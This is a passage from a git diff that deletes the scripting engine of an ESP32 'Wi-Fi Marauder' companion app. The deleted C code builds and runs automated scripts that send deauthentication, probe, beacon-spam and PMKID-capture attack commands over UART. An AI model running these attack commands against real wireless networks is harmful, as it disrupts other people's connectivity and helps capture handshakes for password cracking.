cJSON* beaconlist_json = cJSON_GetObjectItem(stage_json, "beaconList"); - // SSIDs - if(beaconlist_stage->ssids != NULL) { - cJSON* ssids_json = cJSON_CreateStringArray( - (const char**)beaconlist_stage->ssids, beaconlist_stage->ssid_count); - cJSON_AddItemToObject(beaconlist_json, "ssids", ssids_json); - } - // Random SSIDs - if(beaconlist_stage->random_ssids > 0) { - cJSON_AddNumberToObject(beaconlist_json, "generate", beaconlist_stage->random_ssids); - } - // Timeout - if(beaconlist_stage->timeout > 0) { - cJSON_AddNumberToObject(beaconlist_json, "timeout", beaconlist_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_beaconap(WifiMarauderScriptStageBeaconAp* beaconap_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "beaconAp", cJSON_CreateObject()); - cJSON* beaconap_json = cJSON_GetObjectItem(stage_json, "beaconAp"); - // Timeout - if(beaconap_stage->timeout > 0) { - cJSON_AddNumberToObject(beaconap_json, "timeout", beaconap_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_exec(WifiMarauderScriptStageExec* exec_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "exec", cJSON_CreateObject()); - cJSON* exec_json = cJSON_GetObjectItem(stage_json, "exec"); - // Command - cJSON_AddStringToObject( - exec_json, "command", exec_stage->command != NULL ? exec_stage->command : ""); - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_delay(WifiMarauderScriptStageDelay* delay_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "delay", cJSON_CreateObject()); - cJSON* delay_json = cJSON_GetObjectItem(stage_json, "delay"); - // Timeout - if(delay_stage->timeout > 0) { - cJSON_AddNumberToObject(delay_json, "timeout", delay_stage->timeout); - } - return stage_json; -} - -void wifi_marauder_script_save_json( - Storage* storage, - const char* file_path, - WifiMarauderScript* script) { - File* script_file = storage_file_alloc(storage); - - if(storage_file_open(script_file, file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - cJSON* root_json = cJSON_CreateObject(); - - // Meta info - cJSON* meta_json = _wifi_marauder_script_create_json_meta(script); - cJSON_AddItemToObject(root_json, "meta", meta_json); - - // Create array for stages - cJSON* stages_array = cJSON_CreateArray(); - cJSON_AddItemToObject(root_json, "stages", stages_array); - - // Iterate over each stage and create the corresponding JSON object - WifiMarauderScriptStage* stage = script->first_stage; - while(stage != NULL) { - cJSON* stage_json = NULL; - - switch(stage->type) { - case WifiMarauderScriptStageTypeScan: { - WifiMarauderScriptStageScan* scan_stage = - (WifiMarauderScriptStageScan*)stage->stage; - stage_json = _wifi_marauder_script_create_json_scan(scan_stage); - break; - } - case WifiMarauderScriptStageTypeSelect: { - WifiMarauderScriptStageSelect* select_stage = - (WifiMarauderScriptStageSelect*)stage->stage; - stage_json = _wifi_marauder_script_create_json_select(select_stage); - break; - } - case WifiMarauderScriptStageTypeDeauth: { - WifiMarauderScriptStageDeauth* deauth_stage = - (WifiMarauderScriptStageDeauth*)stage->stage; - stage_json = _wifi_marauder_script_create_json_deauth(deauth_stage); - break; - } - case WifiMarauderScriptStageTypeProbe: { - WifiMarauderScriptStageProbe* probe_stage = - (WifiMarauderScriptStageProbe*)stage->stage; - stage_json = _wifi_marauder_script_create_json_probe(probe_stage); - break; - } - case WifiMarauderScriptStageTypeSniffRaw: { - WifiMarauderScriptStageSniffRaw* sniffraw_stage = - (WifiMarauderScriptStageSniffRaw*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffraw(sniffraw_stage); - break; - } - case WifiMarauderScriptStageTypeSniffBeacon: { - WifiMarauderScriptStageSniffBeacon* sniffbeacon_stage = - (WifiMarauderScriptStageSniffBeacon*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffbeacon(sniffbeacon_stage); - break; - } - case WifiMarauderScriptStageTypeSniffDeauth: { - WifiMarauderScriptStageSniffDeauth* sniffdeauth_stage = - (WifiMarauderScriptStageSniffDeauth*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffdeauth(sniffdeauth_stage); - break; - } - case WifiMarauderScriptStageTypeSniffEsp: { - WifiMarauderScriptStageSniffEsp* sniffesp_stage = - (WifiMarauderScriptStageSniffEsp*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffesp(sniffesp_stage); - break; - } - case WifiMarauderScriptStageTypeSniffPmkid: { - WifiMarauderScriptStageSniffPmkid* sniffpmkid_stage = - (WifiMarauderScriptStageSniffPmkid*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffpmkid(sniffpmkid_stage); - break; - } - case WifiMarauderScriptStageTypeSniffPwn: { - WifiMarauderScriptStageSniffPwn* sniffpwn_stage = - (WifiMarauderScriptStageSniffPwn*)stage->stage; - stage_json = _wifi_marauder_script_create_json_sniffpwn(sniffpwn_stage); - break; - } - case WifiMarauderScriptStageTypeBeaconList: { - WifiMarauderScriptStageBeaconList* beaconlist_stage = - (WifiMarauderScriptStageBeaconList*)stage->stage; - stage_json = _wifi_marauder_script_create_json_beaconlist(beaconlist_stage); - break; - } - case WifiMarauderScriptStageTypeBeaconAp: { - WifiMarauderScriptStageBeaconAp* beaconap_stage = - (WifiMarauderScriptStageBeaconAp*)stage->stage; - stage_json = _wifi_marauder_script_create_json_beaconap(beaconap_stage); - break; - } - case WifiMarauderScriptStageTypeExec: { - WifiMarauderScriptStageExec* exec_stage = - (WifiMarauderScriptStageExec*)stage->stage; - stage_json = _wifi_marauder_script_create_json_exec(exec_stage); - break; - } - case WifiMarauderScriptStageTypeDelay: { - WifiMarauderScriptStageDelay* delay_stage = - (WifiMarauderScriptStageDelay*)stage->stage; - stage_json = _wifi_marauder_script_create_json_delay(delay_stage); - break; - } - } - - // Add the stage JSON object to the "stages" array - if(stage_json != NULL) { - cJSON_AddItemToArray(stages_array, stage_json); - } - - stage = stage->next_stage; - } - - // Write JSON to file - char* json_str = cJSON_Print(root_json); - storage_file_write(script_file, json_str, strlen(json_str)); - - //free(json_str); - storage_file_close(script_file); - } - storage_file_free(script_file); -} - -bool wifi_marauder_script_has_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type) { - if(script == NULL) { - return false; - } - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL) { - if(current_stage->type == stage_type) { - return true; - } - current_stage = current_stage->next_stage; - } - return false; -} - -void wifi_marauder_script_free(WifiMarauderScript* script) { - if(script == NULL) { - return; - } - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL) { - WifiMarauderScriptStage* next_stage = current_stage->next_stage; - switch(current_stage->type) { - case WifiMarauderScriptStageTypeScan: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSelect: - if(((WifiMarauderScriptStageSelect*)current_stage->stage)->filter != NULL) { - free(((WifiMarauderScriptStageSelect*)current_stage->stage)->filter); - } - if(((WifiMarauderScriptStageSelect*)current_stage->stage)->indexes != NULL) { - free(((WifiMarauderScriptStageSelect*)current_stage->stage)->indexes); - } - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeDeauth: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeProbe: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffRaw: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffEsp: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeSniffPwn: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeBeaconList: - for(int i = 0; - i < ((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssid_count; - i++) { - free(((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssids[i]); - } - free(((WifiMarauderScriptStageBeaconList*)current_stage->stage)->ssids); - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeBeaconAp: - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeExec: - if(((WifiMarauderScriptStageExec*)current_stage->stage)->command != NULL) { - free(((WifiMarauderScriptStageExec*)current_stage->stage)->command); - } - free(current_stage->stage); - break; - case WifiMarauderScriptStageTypeDelay: - free(current_stage->stage); - break; - } - free(current_stage); - current_stage = next_stage; - } - free(script->name); - free(script->description); - free(script); -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.h b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.h deleted file mode 100644 index 2cf52196b..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.h +++ /dev/null @@ -1,258 +0,0 @@ -/* - * ---------------------------------------------------------------------------------------------------- - * STEPS TO ADD A NEW STAGE: - * - * wifi_marauder_script.h - * - Complement WifiMarauderScriptStageType enum with new stage - * - Create struct WifiMarauderScriptStage???? for the new stage - * - * wifi_marauder_script.c - * - Change _wifi_marauder_script_load_stages() to load new stage - * - Change wifi_marauder_script_save_json() to support the new stage - * - Add case to free memory in wifi_marauder_script_free() - * - * wifi_marauder_script_executor.c - * - Create function "void _wifi_marauder_script_execute_????(WifiMarauderScriptStage????* stage)" - * - Add case in wifi_marauder_script_execute_stage() - * - * wifi_marauder_scene_script_edit.c - * - Add case in wifi_marauder_scene_script_edit_on_enter() - * - * wifi_marauder_scene_script_stage_add.c - * - Create stage creation function and add in wifi_marauder_scene_script_stage_add_on_enter() - * - * wifi_marauder_script_stage_menu_config.h - * - Add the new stage and implement its functions in a new file - * - * ---------------------------------------------------------------------------------------------------- - * SCRIPT SYNTAX (In order of execution): - * { - * "meta": { - * "description": "My script", - * "repeat": times the script will repeat (default 1), - * "enableLed": true (default) | false, - * "savePcap": true (default) | false - * }, - * "stages": { - * "scan": { - * "type": "ap" | "station", - * "timeout": seconds, - * "channel": 1-11 - * }, - * "select": { - * "type": "ap" | "station" | "ssid", - * "filter": "all" | "contains -f '{SSID fragment}' or equals '{SSID}' or ...", - * "indexes": [0, 1, 2, 3...], - * }, - * "deauth": { - * "timeout": seconds - * }, - * "probe": { - * "timeout": seconds - * }, - * "sniffRaw": { - * "timeout": seconds - * }, - * "sniffBeacon": { - * "timeout": seconds - * }, - * "sniffDeauth": { - * "timeout": seconds - * }, - * "sniffEsp": { - * "timeout": seconds - * }, - * "sniffPmkid": { - * "forceDeauth": true (default) | false, - * "channel": 1-11, - * "timeout": seconds - * }, - * "sniffPwn": { - * "timeout": seconds - * }, - * "beaconList": { - * "ssids": [ - * "SSID 1", - * "SSID 2", - * "SSID 3" - * ], - * "generate": number of random SSIDs that will be generated, - * "timeout": seconds - * } - * "beaconAp": { - * "timeout": seconds - * } - * "exec": { - * "command": Command (eg: "clearlist -a") - * } - * "delay": { - * "timeout": seconds - * } - * } - * } - * - * Note: It is possible to inform "stages" as an array, allowing ordering and repetition of stages of the same type: - * "stages": [ - * { - * "beaconList": { "ssids": ["SSID 1", "SSID 2"] } - * }, - * { - * "beaconList": { "generate": 4 } - * }, - * ] - * ---------------------------------------------------------------------------------------------------- - */ - -#pragma once - -#include -#include "cJSON.h" - -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN 15 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH 30 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE 60 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF 60 -#define WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON 60 - -typedef enum { - WifiMarauderScriptBooleanFalse = 0, - WifiMarauderScriptBooleanTrue = 1, - WifiMarauderScriptBooleanUndefined = 2 -} WifiMarauderScriptBoolean; - -typedef enum { - WifiMarauderScriptStageTypeScan, - WifiMarauderScriptStageTypeSelect, - WifiMarauderScriptStageTypeDeauth, - WifiMarauderScriptStageTypeProbe, - WifiMarauderScriptStageTypeSniffRaw, - WifiMarauderScriptStageTypeSniffBeacon, - WifiMarauderScriptStageTypeSniffDeauth, - WifiMarauderScriptStageTypeSniffEsp, - WifiMarauderScriptStageTypeSniffPmkid, - WifiMarauderScriptStageTypeSniffPwn, - WifiMarauderScriptStageTypeBeaconList, - WifiMarauderScriptStageTypeBeaconAp, - WifiMarauderScriptStageTypeExec, - WifiMarauderScriptStageTypeDelay, -} WifiMarauderScriptStageType; - -typedef enum { - WifiMarauderScriptScanTypeAp = 0, - WifiMarauderScriptScanTypeStation = 1 -} WifiMarauderScriptScanType; - -typedef enum { - WifiMarauderScriptSelectTypeAp, - WifiMarauderScriptSelectTypeStation, - WifiMarauderScriptSelectTypeSsid -} WifiMarauderScriptSelectType; - -// Stages -typedef struct WifiMarauderScriptStage { - WifiMarauderScriptStageType type; - void* stage; - struct WifiMarauderScriptStage* next_stage; -} WifiMarauderScriptStage; - -typedef struct WifiMarauderScriptStageScan { - WifiMarauderScriptScanType type; - int channel; - int timeout; -} WifiMarauderScriptStageScan; - -typedef struct WifiMarauderScriptStageSelect { - WifiMarauderScriptSelectType type; - char* filter; - int* indexes; - int index_count; - // TODO: Implement a feature to not select the same items in the next iteration of the script - bool allow_repeat; -} WifiMarauderScriptStageSelect; - -typedef struct WifiMarauderScriptStageDeauth { - int timeout; -} WifiMarauderScriptStageDeauth; - -typedef struct WifiMarauderScriptStageProbe { - int timeout; -} WifiMarauderScriptStageProbe; - -typedef struct WifiMarauderScriptStageSniffRaw { - int timeout; -} WifiMarauderScriptStageSniffRaw; - -typedef struct WifiMarauderScriptStageSniffBeacon { - int timeout; -} WifiMarauderScriptStageSniffBeacon; - -typedef struct WifiMarauderScriptStageSniffDeauth { - int timeout; -} WifiMarauderScriptStageSniffDeauth; - -typedef struct WifiMarauderScriptStageSniffEsp { - int timeout; -} WifiMarauderScriptStageSniffEsp; - -typedef struct WifiMarauderScriptStageSniffPmkid { - bool force_deauth; - bool hop_channels; - int channel; - int timeout; -} WifiMarauderScriptStageSniffPmkid; - -typedef struct WifiMarauderScriptStageSniffPwn { - int timeout; -} WifiMarauderScriptStageSniffPwn; - -typedef struct WifiMarauderScriptStageBeaconList { - char** ssids; - int ssid_count; - int random_ssids; - int timeout; -} WifiMarauderScriptStageBeaconList; - -typedef struct WifiMarauderScriptStageBeaconAp { - int timeout; -} WifiMarauderScriptStageBeaconAp; - -typedef struct WifiMarauderScriptStageExec { - char* command; -} WifiMarauderScriptStageExec; - -typedef struct WifiMarauderScriptStageDelay { - int timeout; -} WifiMarauderScriptStageDelay; - -// Script -typedef struct WifiMarauderScript { - char* name; - char* description; - WifiMarauderScriptStage* first_stage; - WifiMarauderScriptStage* last_stage; - WifiMarauderScriptBoolean enable_led; - WifiMarauderScriptBoolean save_pcap; - int repeat; -} WifiMarauderScript; - -typedef struct WifiMarauderScriptStageListItem { - char* value; - struct WifiMarauderScriptStageListItem* next_item; -} WifiMarauderScriptStageListItem; - -WifiMarauderScript* wifi_marauder_script_alloc(); -WifiMarauderScript* wifi_marauder_script_create(const char* script_name); -WifiMarauderScript* wifi_marauder_script_parse_raw(const char* script_raw); -WifiMarauderScript* wifi_marauder_script_parse_json(Storage* storage, const char* file_path); -void wifi_marauder_script_save_json( - Storage* storage, - const char* file_path, - WifiMarauderScript* script); -void wifi_marauder_script_add_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type, - void* stage_data); -bool wifi_marauder_script_has_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type); -void wifi_marauder_script_free(WifiMarauderScript* script); diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.c b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.c deleted file mode 100644 index 41f6285d4..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.c +++ /dev/null @@ -1,324 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script_executor.h" - -void _wifi_marauder_script_delay(WifiMarauderScriptWorker* worker, uint32_t delay_secs) { - for(uint32_t i = 0; i < delay_secs && worker->is_running; i++) furi_delay_ms(1000); -} - -void _send_stop() { - const char stop_command[] = "stopscan\n"; - wifi_marauder_uart_tx((uint8_t*)(stop_command), strlen(stop_command)); -} - -void _send_line_break() { - wifi_marauder_uart_tx((uint8_t*)("\n"), 1); -} - -void _send_channel_select(int channel) { - char command[30]; - _send_line_break(); - snprintf(command, sizeof(command), "channel -s %d\n", channel); - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); -} - -void _wifi_marauder_script_execute_scan( - WifiMarauderScriptStageScan* stage, - WifiMarauderScriptWorker* worker) { - char command[15]; - // Set channel - if(stage->channel > 0) { - _send_channel_select(stage->channel); - } - // Start scan - if(stage->type == WifiMarauderScriptScanTypeAp) { - snprintf(command, sizeof(command), "scanap\n"); - } else { - snprintf(command, sizeof(command), "scansta\n"); - } - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_select(WifiMarauderScriptStageSelect* stage) { - const char* select_type = NULL; - switch(stage->type) { - case WifiMarauderScriptSelectTypeAp: - select_type = "-a"; - break; - case WifiMarauderScriptSelectTypeStation: - select_type = "-c"; - break; - case WifiMarauderScriptSelectTypeSsid: - select_type = "-s"; - break; - default: - return; // invalid stage - } - - char command[256]; - size_t command_length = 0; - - if(stage->indexes != NULL && stage->index_count > 0) { - command_length = snprintf(command, sizeof(command), "select %s ", select_type); - - for(int i = 0; i < stage->index_count; i++) { - int index = stage->indexes[i]; - command_length += snprintf( - command + command_length, sizeof(command) - command_length, "%d, ", index); - } - - // Remove the trailing comma and space - command_length -= 2; - command[command_length] = '\n'; - command_length++; - } else if(stage->filter == NULL || strcmp(stage->filter, "all") == 0) { - command_length = snprintf(command, sizeof(command), "select %s all\n", select_type); - } else { - command_length = snprintf( - command, sizeof(command), "select %s -f \"%s\"\n", select_type, stage->filter); - } - - wifi_marauder_uart_tx((uint8_t*)command, command_length); -} - -void _wifi_marauder_script_execute_deauth( - WifiMarauderScriptStageDeauth* stage, - WifiMarauderScriptWorker* worker) { - const char attack_command[] = "attack -t deauth\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_probe( - WifiMarauderScriptStageProbe* stage, - WifiMarauderScriptWorker* worker) { - const char attack_command[] = "attack -t probe\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_raw( - WifiMarauderScriptStageSniffRaw* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffraw\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_beacon( - WifiMarauderScriptStageSniffBeacon* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffbeacon\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_deauth( - WifiMarauderScriptStageSniffDeauth* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffdeauth\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_esp( - WifiMarauderScriptStageSniffEsp* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffesp\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_pmkid( - WifiMarauderScriptStageSniffPmkid* stage, - WifiMarauderScriptWorker* worker) { - // If channel hopping is enabled, loop through channels 1-11 - if(stage->hop_channels) { - for(int i = 1; i <= 11; i++) { - char attack_command[50] = "sniffpmkid"; - int len = strlen(attack_command); - - len += snprintf(attack_command + len, sizeof(attack_command) - len, " -c %d", i); - if(stage->force_deauth) { - len += snprintf(attack_command + len, sizeof(attack_command) - len, " -d"); - } - - len += snprintf(attack_command + len, sizeof(attack_command) - len, "\n"); - wifi_marauder_uart_tx((uint8_t*)attack_command, len); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); - } - } else { - char attack_command[50] = "sniffpmkid"; - int len = strlen(attack_command); - - if(stage->channel > 0) { - len += snprintf( - attack_command + len, sizeof(attack_command) - len, " -c %d", stage->channel); - } - - if(stage->force_deauth) { - len += snprintf(attack_command + len, sizeof(attack_command) - len, " -d"); - } - len += snprintf(attack_command + len, sizeof(attack_command) - len, "\n"); - wifi_marauder_uart_tx((uint8_t*)attack_command, len); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); - } -} - -void _wifi_marauder_script_execute_sniff_pwn( - WifiMarauderScriptStageSniffPwn* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffpwn\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_beacon_list( - WifiMarauderScriptStageBeaconList* stage, - WifiMarauderScriptWorker* worker) { - const char clearlist_command[] = "clearlist -s\n"; - wifi_marauder_uart_tx((uint8_t*)(clearlist_command), strlen(clearlist_command)); - - char command[100]; - char* ssid; - - for(int i = 0; i < stage->ssid_count; i++) { - ssid = stage->ssids[i]; - snprintf(command, sizeof(command), "ssid -a -n \"%s\"", ssid); - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); - _send_line_break(); - } - if(stage->random_ssids > 0) { - char add_random_command[50]; - snprintf( - add_random_command, - sizeof(add_random_command), - "ssid -a -r -g %d\n", - stage->random_ssids); - wifi_marauder_uart_tx((uint8_t*)add_random_command, strlen(add_random_command)); - } - const char attack_command[] = "attack -t beacon -l\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_beacon_ap( - WifiMarauderScriptStageBeaconAp* stage, - WifiMarauderScriptWorker* worker) { - const char command[] = "attack -t beacon -a\n"; - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_exec(WifiMarauderScriptStageExec* stage) { - if(stage->command != NULL) { - wifi_marauder_uart_tx((uint8_t*)stage->command, strlen(stage->command)); - _send_line_break(); - } -} - -void _wifi_marauder_script_execute_delay( - WifiMarauderScriptStageDelay* stage, - WifiMarauderScriptWorker* worker) { - _wifi_marauder_script_delay(worker, stage->timeout); -} - -void wifi_marauder_script_execute_start(void* context) { - furi_assert(context); - WifiMarauderScriptWorker* worker = context; - WifiMarauderScript* script = worker->script; - char command[100]; - - // Enables or disables the LED according to script settings - if(script->enable_led != WifiMarauderScriptBooleanUndefined) { - snprintf( - command, - sizeof(command), - "settings -s EnableLED %s", - script->enable_led ? "enable" : "disable"); - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _send_line_break(); - } - - // Enables or disables PCAP saving according to script settings - if(script->save_pcap != WifiMarauderScriptBooleanUndefined) { - snprintf( - command, - sizeof(command), - "settings -s SavePCAP %s", - script->save_pcap ? "enable" : "disable"); - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _send_line_break(); - } -} - -void wifi_marauder_script_execute_stage(WifiMarauderScriptStage* stage, void* context) { - furi_assert(context); - WifiMarauderScriptWorker* worker = context; - void* stage_data = stage->stage; - - switch(stage->type) { - case WifiMarauderScriptStageTypeScan: - _wifi_marauder_script_execute_scan((WifiMarauderScriptStageScan*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSelect: - _wifi_marauder_script_execute_select((WifiMarauderScriptStageSelect*)stage_data); - break; - case WifiMarauderScriptStageTypeDeauth: - _wifi_marauder_script_execute_deauth((WifiMarauderScriptStageDeauth*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeProbe: - _wifi_marauder_script_execute_probe((WifiMarauderScriptStageProbe*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffRaw: - _wifi_marauder_script_execute_sniff_raw( - (WifiMarauderScriptStageSniffRaw*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - _wifi_marauder_script_execute_sniff_beacon( - (WifiMarauderScriptStageSniffBeacon*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - _wifi_marauder_script_execute_sniff_deauth( - (WifiMarauderScriptStageSniffDeauth*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffEsp: - _wifi_marauder_script_execute_sniff_esp( - (WifiMarauderScriptStageSniffEsp*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - _wifi_marauder_script_execute_sniff_pmkid( - (WifiMarauderScriptStageSniffPmkid*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffPwn: - _wifi_marauder_script_execute_sniff_pwn( - (WifiMarauderScriptStageSniffPwn*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeBeaconList: - _wifi_marauder_script_execute_beacon_list( - (WifiMarauderScriptStageBeaconList*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeBeaconAp: - _wifi_marauder_script_execute_beacon_ap( - (WifiMarauderScriptStageBeaconAp*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeExec: - _wifi_marauder_script_execute_exec((WifiMarauderScriptStageExec*)stage_data); - break; - case WifiMarauderScriptStageTypeDelay: - _wifi_marauder_script_execute_delay((WifiMarauderScriptStageDelay*)stage_data, worker); - break; - } -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.h b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.h deleted file mode 100644 index 654712849..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_executor.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#include "wifi_marauder_script.h" - -void wifi_marauder_script_execute_start(void* context); -void wifi_marauder_script_execute_stage(WifiMarauderScriptStage* stage, void* context); diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.c b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.c deleted file mode 100644 index 2e11b0e5f..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.c +++ /dev/null @@ -1,75 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script_worker.h" - -WifiMarauderScriptWorker* wifi_marauder_script_worker_alloc() { - WifiMarauderScriptWorker* worker = malloc(sizeof(WifiMarauderScriptWorker)); - if(worker == NULL) { - return NULL; - } - worker->callback_start = NULL; - worker->callback_stage = NULL; - worker->worker_thread = NULL; - worker->is_running = false; - return worker; -} - -int32_t _wifi_marauder_script_worker_task(void* worker) { - WifiMarauderScriptWorker* script_worker = worker; - WifiMarauderScript* script = script_worker->script; - if(script == NULL) { - return WifiMarauderScriptWorkerStatusInvalidScript; - } - - // Setup - script_worker->callback_start(script_worker->context); - if(!script_worker->is_running) { - return WifiMarauderScriptWorkerStatusForceExit; - } - - // Stages - for(int i = 0; i < script->repeat; i++) { - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL && script_worker->is_running) { - script_worker->callback_stage(current_stage, script_worker->context); - current_stage = current_stage->next_stage; - } - if(!script_worker->is_running) { - return WifiMarauderScriptWorkerStatusForceExit; - } - } - - script_worker->is_running = false; - - return WifiMarauderScriptWorkerStatusSuccess; -} - -bool wifi_marauder_script_worker_start( - WifiMarauderScriptWorker* instance, - WifiMarauderScript* script) { - if(!instance || !script) { - return false; - } - instance->callback_start = wifi_marauder_script_execute_start; - instance->callback_stage = wifi_marauder_script_execute_stage; - instance->script = script; - instance->context = instance; - instance->is_running = true; - instance->worker_thread = furi_thread_alloc_ex( - "WifiMarauderScriptWorker", 1024, _wifi_marauder_script_worker_task, instance); - if(!instance->worker_thread) { - return false; - } - furi_thread_start(instance->worker_thread); - return true; -} - -void wifi_marauder_script_worker_free(WifiMarauderScriptWorker* worker) { - if(worker != NULL) { - if(worker->worker_thread != NULL) { - worker->is_running = false; - furi_thread_join(worker->worker_thread); - furi_thread_free(worker->worker_thread); - } - free(worker); - } -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.h b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.h deleted file mode 100644 index 76ff070d2..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script_worker.h +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once - -#include "wifi_marauder_script.h" - -typedef enum { - WifiMarauderScriptWorkerStatusSuccess = 0, - WifiMarauderScriptWorkerStatusInvalidScript = 1, - WifiMarauderScriptWorkerStatusForceExit = 2 -} WifiMarauderScriptWorkerStatus; - -typedef struct WifiMarauderScriptWorker { - WifiMarauderScript* script; - FuriThread* worker_thread; - void (*callback_start)(void*); - void (*callback_stage)(WifiMarauderScriptStage*, void*); - void* context; - bool is_running; -} WifiMarauderScriptWorker; - -/** - * @brief Allocates a new instance of WifiMarauderScriptWorker. - * - * @return A pointer to the allocated instance or NULL if allocation fails. - */ -WifiMarauderScriptWorker* 